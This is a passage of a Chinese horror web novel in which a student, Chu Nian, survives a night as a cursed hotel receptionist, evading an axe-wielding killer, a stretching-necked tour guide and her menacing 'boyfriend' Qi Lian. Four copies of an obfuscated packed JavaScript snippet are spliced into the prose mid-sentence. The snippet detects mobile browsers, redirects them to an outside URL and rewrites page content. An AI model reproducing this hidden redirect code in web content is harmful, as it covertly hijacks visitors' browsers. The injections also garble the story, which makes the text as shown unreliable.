楚念也有些摸不着头脑,还想说点儿什么,对面的服务生已经换好常服,背着自己闪亮的挎包离开了。 还可以这样玩吗? 楚念茫然的望向周遭神色各异的众人。 祁连若有所思盯着女服务生离开的方向。 不知是不是他的错觉,这个女服务生在保楚念,可是楚念连几百许愿币的房费都拿不出来,显然是第一次进入酬神的世界。 或许真的是她想偷懒出去玩吧。 祁连不再多想,提醒楚念为他办理好入住,拿起房卡道:“宝贝,欢迎你随时来找我。” 这黏黏糊糊的语气听得其他人牙口泛酸。 他走后,其他人也商量不出对策,陆陆续续起身离开了。 戴着小红帽的导游离开前,特地敲了敲她面前的吧台,“你运气不错,可是你男朋友今天晚上就要独守空房了,我要是——去睡他的话,你应该不介意吧?” 楚念自是不会介意,大家都是出来做任务的,谁睡不是睡,善解人意的做了一个邀请的手势:“当然,你能睡到的话。” 这话落在导游耳朵里却成了挑衅。 神明世界里谁不知道,祁连出了名的难睡,别说睡觉,想牵一下他的手都难于登天。 所以她最讨厌所有顶着‘祁连女朋友’名头的玩家。 更别说这种第一次走下车厢,坚持到现在的“女友”,也不知道屠皇抽什么疯,居然把她留到现在,她越来越气,顾不得隐藏,面目狰狞:“我一定会让祁连哥哥亲口吃了你的。” 楚念目送着她离开。 这就和她摊牌了吗? 楚念从她说话的方式就猜到她可能是「祂」了。 她喉头微微吞咽,但是也并没有觉得多意外。因为那个前台服务生早就在关门的时候提醒过她了——‘小心不要被吃掉’ 只是她现在才明白是这个意思。 别说,那个“前台服务生”她还真的认识,那时候前者还是A市十大都市传说中赫赫有名的红衣女鬼。楚念虽然敬畏但是并不恐惧,在经过前者徘徊的十字路口和她对视一眼,就被缠上了。 楚念好久没见她了,一度以为她让谁给收了,不曾想她竟然跑到这里来当服务生了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016307|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不枉楚念之后给她烧了几箱“金元宝”。 楚念现在知道这个服务生的话都是有深意的,开始在吧台翻找起来。 抽屉里有许多房卡,而且都有使用过的痕迹,可见这个民宿并不只是针对他们开放,平常应该也有营业。 除此之外,她没有再发现任何有用的信息,只剩下一桶没有生产日期和厂家的“康帅傅”。 她正是饿得时候,没有犹豫的拆开来。 在等待方便面泡好的过程中,她扫到被垫在泡面下报纸,顿时被上面的标题吸引——「七名大学生结伴出游,却迷路深山,惨死峡谷,无人生还」 这个世界也有这么作死的大学生呢? 她越看越觉得不对,尤其是看到“七名大学生翻阅围栏进入禁区”时,说得不就是他们来时翻得那个铁围栏吗? 可是他们远远不止七个人。 应该是她想错了。 这时,大厅的灯光开始闪烁,楚念看了一会儿,见怪不怪掀开泡面盖,正准备吃第一口时,整个大厅的灯就陡然熄灭了,一个提着斧头的驴头人身就这样直接穿过门,出现在吧台前。 「夜晚已经来临,猎人们已经准备好镰刀,今夜注定不会平静!快让入住的旅客注意安全吧!」 楚念透过眼前透明的提示,面无表情举起手里的电筒和它对视。 它直直盯着她胸前的名牌,确定她是今晚的服务生以后,拖着斧头向着旁边的楼梯间走去。 原来一定不要离开吧台是这个意思,那楼上的人呢? 思索片刻,她按照系统的提示,在本子上找到其他人入住的房间,拿起电话拨通了对应的座机。 她可没有违反规则,只是尽到一个前台该有的责任而已。 不曾想,柯泽和霍敏以及中长发的女生都没有接电话。 倒是祁连接得很快,听到她说“有未经登记的旅客入住,请注意安全”时,淡淡笑道:“看来宝贝很担心我。” 楚念听到他那边有扉页翻篇的声音,“是的,注意安全。” “好的宝贝,你也是。”祁连放下电话,视映在墙上的驴头人身的巨大阴影如无物,头也不抬的翻着书页:“看来我们今天遇上认真负责的前台小姐了。” ** 楚念打完电话以后就去小床上睡觉了。 很快大厅里就响起了鬼鬼祟祟走动的声音,她睁开眼睛,发现是道长师徒。 少年腿软的几乎快要跪在地上,死死攥着青年的衣服:“师父,我感觉这里已经不是一般的凶地了,咱们还是快走吧。” 青年没有搭理他。 楚念猜测他们应该是要完成论坛的委托——「查明爱乐佳恶性纵火案背后的真相」 假装没有看见。 少年看到睡得踏踏实实的楚念,轻轻戳了戳青年:“师父,你说那女的——” “别管,做好我们自己的事就行了。” 道长师徒走了以后,小红帽导游又下来了,站在吧台前面阴笑。 一看就没安好心。 楚念假装没有看见,背过了身。 小红帽导游的确也无法攻击她,不甘心的看了一会儿,也只能寻找别得猎物。 刚过了一会儿,门外又响起急促的敲门声,“有人吗?可以帮我们开开门吗?求求你了!快一点儿!” 5. 祂 楚念从吧台下面钻进来,拿着手电对着外面张望。 她没有看清门外的人,却看见伸手不见五指的浓雾里映出瘦长可怖的人影,不慌不忙向着这边走来。 门外催促的声音越发迫切。 显然对雾里的人影恐惧到了极致。 楚念这才注意到门外的人影,是刚才下山的两个人。 现在浑身都是狼狈的泥泞,全然没了分别时的雄心壮志。 楚念为了避免惹起不必要的麻烦,找了个纸袋套在头上才打开门。 不等她说话,两个人立马连滚带爬的跑了进来。 楚念主动开口:“你们好。” 两个人回头看了她一眼,瞬间被她脑袋上的纸袋吓得跌坐在地上,可是又不敢得罪她,颤颤巍巍道:“你好。” “你们是要入住吗?” “对,对的。” “可是我们楼上有未经登记的客人,你们也要住吗?” 两个人一愣。 正在想这个未登记的客人到底是什么客人,旁边的楼道里忽然传来急促的脚步声,留着中长发的女生跌跌撞撞从楼梯间跑了出来,身后还跟着断了一只手的柯泽。 鲜红的血液随着他的指间滴落在地板上。 大厅的人直接看傻了。 女生不由分说就要开门。 刚刚进来的男生一把将她抱回来,“不能开门,外面有怪物!” “这楼上同样有怪物!”女生拼命挣脱,生怕楼上的怪物追过来。 “阿寺,放她走!”另一个刚进门男人提醒道:“不要去干预别人的决定。” “那怎么办?”女孩彻底没有主意,放弃挣扎道:“我们是用柯泽的手才换来十分钟逃生的时间,难道就只能在这里坐以待毙吗?” “柯泽的手?”阿寺不解:“什么意思?” 女孩没时间和他们解释了,忽然看到旁边的楚念,猛的往后退了两步,其他人见状,不由跟着退了一步:“怎么了?” 女孩没有说话,但是她的表情显然认定楚念和「祂」是一伙的。 确定楚念没有攻击他们的意思才缓缓开口:“楼上的怪物是她放进来的,她还通过房间里的电话帮怪物确定我们所在的房间,她身上的名牌也是NPC主动给她的。” 那又怎么了? 她本就是NPC,帮助怪物怎么了? 在两人还是一脸懵逼的表情,女生忍不住大喊:“你们看不出来吗?她就是车上那对情侣里的女生!” 窗外一道惊雷闪过。 照得楚念套着纸袋的身影格外阴森可怖。 原本嘈闹的大厅顿时安静了下来。 所有人都不自觉站到了楚念的对立面。同时,楼道里再次传来斧头在地上缓缓拖拽的声音,伴随着捉迷藏的歌谣,在这样一个雾气弥漫的雨夜更是瘆人非常。 “它要来了,”女孩扶着几乎昏迷的柯泽:“快点藏起来!它这次再找到我们就不止是要一只手了!” 两个男生不明所以,但还是按照她说的四处找地方逃窜。 女孩的眼泪无声流下,可是这一刻反倒冷静了下来,她知道柯泽身上的血腥味是藏不住的,与其徒劳的浪费体力,不如直面。 柯泽见她没有躲藏的意思,费力的掀开眼皮道:“你快藏起来,我还可以再向它献祭两个东西,只要撑到天亮就好了——” “不要。”女孩回道:“再献祭下去你会死的,待会儿我来献祭,你想办法逃出去。” 柯泽摇了摇头。 “不要搭两个人在这儿。” 就在他们说话时,驴头人身已经拖着斧头来到了大厅,女孩认命的闭上了眼睛,然而她想象中的寒气始终没有来临,相反透着一阵让人感觉安心的温暖。 她睁开眼睛,只见楚念摘下自己胸前的名牌系在了她的胸口。 头也不抬嘱咐道:“记住,除了前台哪里都不要去。” 女孩难以置信的看着她。 “可是柯泽——” “我知道,”楚念现在已经看清大部分的局势,从容不迫的将自己头上的纸袋戴在柯泽头上,蘸了一些血在纸袋画上一道符咒:“它现在看不到他了,你快点儿放开他,去你的前台安静待着。” “你呢?”女孩已经彻底懵了,面脸泪水的问道。 “我去找我的朋友。” 女孩后知后觉想起楼上除了他们,还有两个人,“我没有听到过她们的声音,她们可能已经——” 楚念向她做了噤声的手势,宣告对话到此为止。 将手里的电筒塞给她,就找了靠近楼道的位置藏了起来。 女孩刚刚走到前台站定,驴头人身就找了过来,像是在询问其他人的下落,女孩一动不动的盯着他。 驴头人身久久打量着她,显然是觉得不对劲,可是看到她胸前的名牌,只能作罢。 楚念趁机溜进楼道里,结果刚跑两步就听到斧头跟上来的声音,她三步并作两步,凭借之前听到的铃声,迅速确定霍敏的房间,拿出吧台的备用房卡刷开房门的瞬间,一个登山用的飞虎抓迎面向她袭来。 所幸没什么准头,楚念慢了一步还是勉强躲开了。 霍敏已经急疯了,拿着系在飞虎抓上的绳子乱甩,楚念好几次险些被误伤,但是现在已经没有时间解释了,斧头拖拽的声音已经越来越近,她轻手轻脚合上门,躲开霍敏毫无章法的攻势,从后一把抱住她的嘴,将她拉躺在地。 “唔——”霍敏以为自己要被吃掉了,眼泪不自觉涌了出来,双腿用力在地上乱蹬。直到她闻到熟悉的味道和身后传来的温热,才逐渐冷静下来。 小念? 她顿时狂喜,挣扎着想要起身,不料楚念手脚并用,将她抱得更紧了。 门外传来斧头拖拽的声音。 那个怪物又来了。 她抓着楚念捂着自己的手,不再动弹。 楚念望着紧闭的房门,无声念出一段咒语,凭空画下一道符印,用力对着前方挥去。 霍敏不知道发生了什么,只知道外面的脚步声越来越远了,楚念捂在她嘴上的手也缓缓放开来。 她欣喜若狂的转过身,却见楚念双眼有些充血,宛如血雾般弥漫在漆黑的瞳仁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016308|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由愣在原地,生出一抹担忧。 楚念看着自己面前忽然出现的面板,上面显示她的精神力和体能都在疯狂下降,提示她尽快休息,她视而不见问:“你没事吧?” 见她恢复如常,霍敏一把抓住她,“小念,我好怕。” “别怕,”她已经用法术将这间房的门隐藏起来了,“你今天晚上安心待在这里就好了。” 霍敏张了张唇,忽然看到外面的阳台上跳下来一个影子,吓得一哆嗦,颤颤巍巍向着楚念身后的推拉门指去。 楚念回过头,只见小红帽导游四肢着地,像爬行动物一样趴在地上,原本细长的脖子变得像蛇一样,伸得老长对着里面张望。 霍敏两眼一闭,都快晕过去了。 楚念连忙掐住她的人中。 别说她,楚念都是一身寒意。 同时,眼前浮现出一个透明的面板—— 「暴走状态的导游小姐,她讨厌所有不服从安排的游客,只有乖乖佩戴小红帽的游客才会不被攻击。」 楚念:“……” 那现在去抢夺小红帽还来得及吗? 「温馨提示:导游小姐对扮演祁连女友玩家的恶意值为9999,佩戴小红帽为无效。请本类型玩家主动避让,以免激发导游小姐的狂暴指数,导致副本难度提升」 楚念:“……“ 那针对性真的很强了。 导游小姐脸凑在玻璃上,“前台小姐,我看到你往这个房间来了,虽然不知道你用什么方法把门藏起来了,但是我依旧能闻到你的味道。令人作呕厌恶的味道。” 这恶意。 楚念意识到自己再留在这里,只会给霍敏添麻烦,拍醒二次晕厥的霍敏,小声嘱咐道:“外面的东西对我恶意很大,我得走了。当这个房间不能再保护你的时候,你就去一楼大厅找那个佩戴桃木剑的青年。” 霍敏死死抓着她的外套,生出这或许就是最后的一面的悲伤。 “小念,对不起。” “这种话留到外面再说,先活下去。”楚念拿开她的手,倒退着走到门边,对着落地窗外面的导游小姐吹了一声口哨,确定她看见以后,猛的拉开房间的门跑了出去。 原本已经走到走廊尽头的驴头人身,听到声音缓缓回过神。 楚念和他对视的刹那,眼前再次浮现出面板介绍—— 「恶名昭著的雨夜屠夫,为逃避追捕进入深牢山禁区,却被永远留在这里。死后,他幻化为恶鬼,依旧在‘狩猎’可怜的人们」 她从门里出来,符咒会有三秒钟的失效。 等到房门再次从肉眼里消失,她才收回和驴头人身对视的视线,向着身后的楼梯跑去。 一楼大厅旁边的厨房里。 跟着道长身边的少年听着楼上越发喧嚣的追逃声,“师父,我们真的就不管那些人,由着他们去……”死吗? 青年道长头也不回道:“每个人都要为自己的贪婪付出代价,而且我们跟她们本来就不是一伙的。再过七个小时,天就要亮了,如果我们到那时还不能查明爱乐佳酒店纵火的真相,这一趟就算白来了。” 6. 溜 溜 此刻追赶楚念的人,已经从一个变成了三个。 除了驴头人身的“雨夜屠夫”,还有变异的导游小姐和另一个小红帽游客。导游小姐像蜥蜴一样奔跑在她的身后,任谁看都是肾上腺素飙升的诡异。 另一个小红帽游客倒是没有变异,却像是没有思维的人机,双手紧贴着身体,没有一丝摆动,直冲冲跟在她身后猛追。 这应该就是那个弹窗提到的「祂们」。 难怪上面说,不要让 「祂们」知道你已经发现 「祂」了。这才第一晚就全“跳”了。她也不知道有效制约他们的手段,除了被追还是被追。 所幸,她身上还有一张万能的房卡,可以随意进入任何房间,换得片刻喘息。 她随便进入到一间没有入住登记的房间,一股烧焦腐朽的味道扑面而来,里面不像其他房间一样干净整洁,全是火灾残留的碳化。 这应该就是论坛提到的爱乐佳恶性纵火案了。 在接单之前,她看过关于这个纵火案的介绍,传言是一个对工作积攒太多怨气的员工,趁着上夜班的时候,封死酒店的大门和所有逃生通道,用几把大火将所有的人活活困死在里面。 导致近百人伤亡,深牢山这个投资两个亿的旅游项目也就此泡汤,成为鲜有人来的荒地。 从论坛的求助来看,这起恶意纵火案背后应该另有隐情,但是现在已经有人在调查,她自然也不会再操这么闲心。走到阳台,试探了上面的栏杆是否牢固,翻身到了下面的房间。 她虽然不会什么绝世武学,但是基本的武术功底还是不错,很轻松就到了楼下。 可是她没想到一到外面,她的精神力就开始狂掉,几乎到了百分之三十,很快明白是这个雾气有毒,立刻打开阳台的门进到室内,才勉强稳住局面。 楚念见过的恶鬼和凶地不计其数,可这种九死无生的局还是第一次见。 就像要把他们困在里面绞杀一样。 她听到上面的阳台再次传来导游小姐的声音:“前台小姐,我可闻到你身上的气味了,你在下面的房间吧?” 楚念下意识拉开身后的门想要逃跑,可是手搭上门把的瞬间忽然涌现出一股没来由的凉意,低头看着脚下的门缝,投进来的光有部分被阻隔了。 外面有人。 她毫不意外的深吸了口,当机立断再次阳台的门,在导游小姐从上面爬下来之前,翻到隔壁的阳台。 “找到你了——”导游小姐的脖子越来越长,直直向着她的脸凑近。 楚念强忍着不断下降的精神力和体力,单手翻进下面的阳台,导游小姐的脖子就这样一直跟着她追。楚念不知道她的极限在哪里,眼疾手快潜入房间,关门将她的脸隔绝在阳台外。 导游小姐的脖子也终于到了极限。 像是绷到极致的橡皮绳,猛的收了回去。 楚念也得到一丝喘息,很快楼道里也传来斧头拖行的声音。 雨夜屠夫又追上来了。 不知是不是外面的毒雾闻得太多,她现在双手止不住的发麻,透明的面板也一直在眼前发出警告,虽然不知道降到百分之二十会怎么样,但是亮着红线终归不是好事。 她倚靠着楼梯的转角,将手背在身后结印。 准备随时给屠夫当头一击。 然而她没有等到雨夜屠夫,却等来从后面走来的祁连。 他握住她藏在身后的手指:“怎么这么凉?” 楚念没想过他会出现在这里,脸上有刹那的茫然。 他不解的笑道:“怎么这样看着我?” 她正想回答便看见他身后的走廊上,掉下来一个排气口,导游小姐的脑袋缓缓从里面探了出来。 楚念:“……” 「导游小姐最喜欢祁连先生啦,不要在她面前和祁连先生有亲密接触,否则她可以无视所有规则对你发起攻击。如果你是祁连先生的女朋友,那她一定会一口咬掉你的脖子」 晚了。 楚念已经和她对视上了。 可不知什么原因,导游小姐扭动着脖子,并没有靠近她。 「导游小姐绝对不会让祁连先生看到这样的自己,在祁连先生面前,她永远是那个温柔漂亮的导游小姐」 原来祁连对她是有限制的。 楚念暗中松了口气,可是导游小姐也不是傻子,她绕过祁连,贴着墙面,沿着地毯向她靠近。 楚念猛的跳起来,手脚并用的挂在祁连身上。 祁连被迫弯下腰,神色不善的克制着自己的语调:“你喜欢这样抱我?” 她喜欢个头。 眼看导游小姐的脸猛的向自己袭来,她连忙直起腰,将祁连的脸朝着导游小姐的方向推去,导游小姐吓得一撤,长长的脖子快速弹回到排气口。 祁连的脖子也传来一声“咔嚓”的闷响。 楚念连忙跳下来问:“你没事吧?” 他咬着后槽牙,挤出一个笑容,“没事,你这么不晚不睡,在这儿干什么?” 导游小姐再度从排气口里探出头来。 这一次,她没有再采用迂回战术,而是直接从祁连脑后袭来。楚念连忙将祁连反推在墙面上,面朝向走廊,导游小姐再度慌忙撤回,隐隐能听到类似橡皮崩到皮肉的声音。 楚念觉得肉疼的皱了皱眉。 祁连背抵在墙上,强忍着不悦:“就是为了玩耍我?” 楚念自知理亏,硬着头皮回:“那你觉得好玩吗?” 祁连:“……” 看来应该是不怎么好玩。 楚念识趣的没有再继续这个话题:“你怎么晚出来干什么?” 话音刚落,斧头拖行的声音再次传来。 祁连朝着身后的走廊扫了一眼,没有流露出一丝惧意,这也再度验证了她的猜想,比雨夜屠夫和导游小姐更可怕的是这位姿色过人的祁连先生。 楚念不动声色往后退去:“男朋友,没什么事的话,你就先回去吧,我要逃命去了。” “还要逃?可是你看起来已经很累了。”他温柔体贴的抚摸着她的脸,“休息会儿吧,我替你引开他。” 他还需要引吗? 楚念有刹那的沉默,但也很快接受了他的好意,头也不回往楼上跑去:“辛苦了,男朋友。” 结果还没等她迈上第二段台阶,就听到他直面雨夜屠夫的声音:“我愿向神明献上我的眼睛换她三十分钟光明。” 楚念脚下一滑,险些摔倒在地。 同时,原本昏暗的走廊顿时变得灯火通明,四处都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016309|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮起了灯。 他投在台阶上的影子和驴头人身的影子相重叠,但是他没有任何退让:“我愿向神明献上我的肢体,换她二十分钟的安宁。” 随之而来的痛苦的惨叫,驴头人身的巨大阴影消失了,取而代之是失去了双臂和眼睛躺在血泊里的人。 楚念心里被茫然和无措填满,正准备后退回去找他,只见走廊上忽然浮现出一个浑身沾满血污的服务生,他用流着血的眼睛望着她,摇了摇头。 「不要可怜他」 「快跑」 楚念从他身上感觉到如公车司机一样的悲伤,不再犹豫,以最快的速度从楼道离开了。 失去眼睛以后,祁连陷入了短暂的黑暗,但是丝毫不急迫,等待着她的安慰。可是最后等到的只有看热闹的导游小姐,“好可怜,她一点儿都不在意你呢。” 导游小姐缓缓蹲下身,“哎,果然还是只有我最心疼哥哥——” 话音未落,脖子就被祁连忽然长出的手臂狠狠抓住,一句话没有,直接在他手上爆成一团血粉。 什么联合围猎。 只会拉低他的进度。 一个晚上,一点儿成果都没有。垃圾。 导游小姐猝不及防从神明世界退出,回过神发现自己已经被淘汰了。 心有余悸捂着生疼的颈脖,“我去他爹的屠皇!有病吧!” 因为祁连的直播间关闭,只能涌入导游小姐直播间的观众纷纷一惊—— 「屠皇还在演什么啊?其他神明都跳了,他也可以直接大开杀戒了啊」 「他们这个团里有高人,第一夜开始这么久了,居然还没死过人,太不正常了」 「难道只有我觉得这哥已经气疯了吗?第一次看到拿屠皇女友身份的玩家活到现在」 直播间关闭,副本的杀戮还在继续。 祁连扫过楼梯上仇视着他的服务生,顿时心下了然,冷笑道:「是你告诉她的吗?」 满身血污的服务生男孩立刻消失了。 他唇角冷意更甚,将重新长出的眼睛和手臂隐去,躺在血泊中不再动弹。 楚念靠着他争取的二十分钟,将原本标红的精神力和体力恢复到了百分之四十以上,虽然不多,但好歹也在正常范围。 她从衣柜里爬出来,听到雨夜屠夫再度拖着斧头行走的声音,通过阳台,来到了一楼的厨房。 独自留在厨房里的少年,听到窗边传来的响动连忙躲进角落的橱柜里。 看到楚念从外面倒挂进来时,险些惊叫出声,以为是那个长脖子的导游又来了,看清是正常人以后瞬时松了口气,可依旧不敢掉以轻心,透过面前门缝暗暗打量着她。 楚念摸到厨房门口,透过与大厅相连的餐厅,观察着吧台的情况。 柯泽头套着纸袋一动不动靠在墙上,不知道还活着没有,中长发女孩一动不动站在吧台前,嘴里始终念叨着:“欢迎光临山野民宿——” 眼前的一切有些出乎楚念的意料。 正当思索之际,她听到身后有开门的声音,猛的转过身,先前一直跟着道长的少年不知何时来到了她的身后,将一张黄色的符纸直直贴上了她的脑门。 楚念:“?” 反手将符纸揭了下来:“你干什么?” 7. 突 发 小徒弟没有想到自己奋力的一击,得到的却是这样一个结果,吓得一屁股跌坐在地上。 “你,你不是鬼吗?” 他和那个中长发女生的想法一样,能让NPC主动找她代班,不费吹灰之力拿到人人都要想要的铭牌,她绝对不会是普通人。 “我是大头鬼,”楚念扫过上面的符咒,重新将符纸丢还给他:“留着对付那个屠夫吧,保不准还能有点用。” “什么屠夫?” 楚念都差点儿忘了,他是跟着来查爱乐佳恶性纵火案的,不是酬神世界里的玩家。 四下打量问:“那个道长呢?” “你怎么知道?”小徒弟警惕的问道,不自觉往后退了一步。 “这不是明摆着的事吗?”楚念暗示了一下他腰间的桃木剑。 “啊,”小徒弟松了口气,“我们刚才遇到一个戴着小红帽的游客,我师父觉得不安心,追她去了。” 难怪楚念后面就没见过那个游客了。 楚念点点头:“那你们加油,我睡一会儿。” “你……”小徒弟没想到她在这种情况还睡得着,“男朋友呢?” 他记得,他们是一对情侣。 她脸上生出刹那的悲伤,“他死了。” “什么?” “他向屠夫献祭了自己的眼睛和肢体,换得了我逃生的机会。”楚念和他一样难以置信,她以为祁连是这个游戏的主宰,结果就这样死在了这里。 她和他谈不上有多少感情,但还是觉得这个结局太潦草了。 小徒弟脸上写满难以置信,想要安慰她,却不知从何说起,耷拉着的脑袋同样浮现出一丝悲伤。 忽然,她和小徒弟同时看到一道白光从外面的餐厅扫过。 两个人不约而同向着源头看去。 只见手持桃木剑的青年大手一挥,戴着小红帽的游客就在原地爆成一团血粉。 吓得躲在餐桌下的寸头男连滚带爬上去抱住了他的大腿。 “大师,救命啊!” 桃木剑青年眉头微皱,盯着从雾里透出的影子。 “那是什么?” “一个怪物,他像影子一样薄,但是身体又像是史莱姆一样的材质,无论用什么攻击它,都会被它身上的材质吸收,毫无办法。” 道长眉头微皱,“怎么会有这样的东西?” ‘爱乐佳’不过是论坛上一个两星的委托而已,这样的凶地大多是因为有太多无法往生的灵魂在徘徊,连一只有攻击性成型的鬼都没有。不然他也不会带着徒弟来练手。 寸头男哪能回答,只能一味喊他救命。 就在两人盯着窗外思索时,托着斧头的屠夫已经出现在他们身后。 楚念意识到祂的技能进化了。 相较之前追赶,这一次祂是凭空出现在他们身后的,这说明随着时间的推移,规则对他的约束减少了。 这对她们来说可不是什么好事。 “师——”小徒弟想要出声提醒,青年道长已经先一步做出反应,转身对着屠夫挥出一剑,然而还是晚了,雨夜屠夫张开手掌笼在他的头顶,明明没有碰到他,他却随着屠夫的手臂开始悬空。 楚念不知道他看见了什么,只见他挣扎着双腿,盯着眼前的空气自语:“没有别得选项吗?” 话音未落,青年喉咙深处发出一声闷响,双眸睁圆的耷拉下脑袋。 道长死了。 上一刻还把希望寄托在他身后的圆寸头男看到这一幕,瞬间被吓疯了。 疯狂往后退去:“救命啊,救命啊!” 小徒弟也没想到自己敬仰的师父就这么死了,眼眶不自觉滑下两道泪。 “我们都要死在这里了。” 楚念也没想到那个道长会死得那么快,拍了拍小徒弟的肩:“不要这么悲观。” “我师父说,现在是夏时令,天早就该亮了,但现在已经过了卯时一刻,窗外还是一片漆黑!这说明在我们死在这里之前,天都不会亮了。” 话音落下,整栋民宿的灯轰然熄灭,再次陷入了巨大的黑暗中。 祁连为她争取来的三十分钟光明已经到了。 楚念没有理会儿他的悲观,“去把你师父的那把桃木剑捡回来。” 小徒弟:“?” “他死了,现在要靠你查明爱乐佳恶性纵火案背后的真相。我怀疑,这两件事很有可能是一件事。” 小徒弟诧异她怎么会知道自己和师父的委托,而后又是一头雾水:“什么两件事?你怎么会知道我和师父接得委托,你到底是什么人?” “一个美院的大二学生,”她咬着手腕上取下的红绳,系起自己披在肩后的头发:“这样下去不是办法,得想办法破局。” 小徒弟当然知道这样下去不是办法,可是——“我,刚入门两周的超级菜鸟,你,学画画的女大学生,你告诉我要怎么破局?” ”你愿意相信我吗?” “这不是我相不相信的问题……” “来了——”楚念忽然神色一变,拎起小徒弟的衣领猛的往旁边一躲,原本在大厅的雨夜屠夫忽然凭空出现在餐厅上方,对准他们之前蹲得位置就是一砍。 黑色的地板瞬时裂出一条又深又长的缝隙。 楚念暗骂一声,飞速翻滚进大厅,捡起地上的桃木剑,系统立马弹出提示:「请确保你的身份和拾取道具相符合,否则道具功能将视为无效」 她的身份与这把桃木剑的设定不符。 可见系统给他们的身份都是有意义的。 楚念反应过来,将剑丢给小徒弟:“这个怪物只能由你来斩杀。” “什么?”小徒弟手忙脚乱将剑接住,听到这句话险些没晕过去,连滚带爬躲到她身边:“我怎么可能对付的这个怪物?” “难道你师父就一点儿东西都没教你吗?” “他给了我一张穿山符和两张隐身符,但是我们在来得路上已经用掉了。” “什么?就这么用了?”楚念一惊,这俩师徒真是一点苦都不愿意吃啊! “别说这个了,”小徒弟颤颤巍巍举起手里的桃木剑,“咱们现在怎么办啊?” “杀了它逃出去。”楚念神色坚定回道。 “什么?” 楚念没有精力和他废话了。 不等他想明白,已经抡圆了手臂将他一把甩了出去。 小徒弟正巧甩在雨夜屠夫脚边。 不经意对上驴头下面的眼睛,一种前所未有的压迫感从头顶压下,让他动弹不得,只能眼睁睁看着眼前浮现出一个透明的面板——「渴望神明庇佑的子民,现在愿意交出什么去供奉你的神明?」 他大脑还没转过来,忽然就感觉背上一沉。楚念一脚踩在他的背上,奋身跃起,对着那张诡异的雨夜屠夫凭空画出一道符,嘴里念念有词:“敕敕洋洋,日出东方,吾赐灵符,普扫不祥,口吐山脉之火,太上老君吾吉吉如律令——破!” 黑暗中一道金光闪过。 那道符直直对着驴头的眉心印去。 小徒弟一脸懵逼,楚念一个后空翻落回原地大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016310|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊:“快点!它现在动不了,拿剑刺它的心脏!” 雨夜屠夫的手脚像是被什么锁住了动弹不得,发出迫切的嘶吼。 小徒弟察觉到压在自己头顶的“空气墙”不见了,颤颤巍巍拿起剑,却始终没有刺下去的勇气,就在他犹豫的刹那,被束缚在原地的怪物忽然像是受到了某种召唤,瞬间消失了。 喧闹的大厅在刹那归于平静。 小徒弟怔怔问道:“人……呢?” “跑了。”楚念平复着略微急促的呼吸回道。 小徒弟心里又惊又怕,回过头正欲说话,只见看到两道殷红的鲜血顺着楚念的眼睛流下来。 小徒弟男顿时傻了。 “你……” 楚念气定神闲在脸上一擦,“没事。” 等到血流止住,就着厨房的水洗了把脸,又回到前台。 躲在餐桌下的村头男抱着桌脚,一动不动的盯着她,看她比看雨夜屠夫还可怕。 楚念上前摘下女孩胸口的铭牌,中长发女孩立刻就从机械重复的模式解脱了出来,两眼一翻直接倒在了地上。 楚念确认她的鼻息。 只要还活着就行。 转而看向角落的柯泽,他手臂上的血液已经停止流动了,摘下他头上的纸袋,脸色一片苍白,但是尚有气息。 楚念暗自松了口气,看向跟在身后的小徒弟:“去忙你的吧——” 话音落下,小徒弟忽然指着大厅的落地窗,失语的跌坐在了地上。 一个穿着西装戴着礼帽的透明人,礼貌的摘下头顶的帽子,弓着超过三米的身躯,轻轻叩了叩门。 “就是他!”寸头男克制着自己打结的舌头:“我们碰到的就是他,千万不要开门。” 楚念不动声色直视着对方,将柯泽护到自己身后。 它看起来绅士极了,如果不是他肚子里胃消化的人体还清晰可见,任谁看它都是人畜无害,只见它徒手扯下民宿带锁的房门,吞进自己嘴里,那张陡然张大的嘴,像极了鹈鹕的大喉囊。 外面的瘴气立刻随着风灌了进来。 楚念下意识眯眼躲避,回过神是,它已经闪现到了她的面前,没有任何反应的时间,楚念下意识一脚蹬在它的下颚,然而却只踹到一脚的黏液,除了让她站立不稳,没有任何意义。 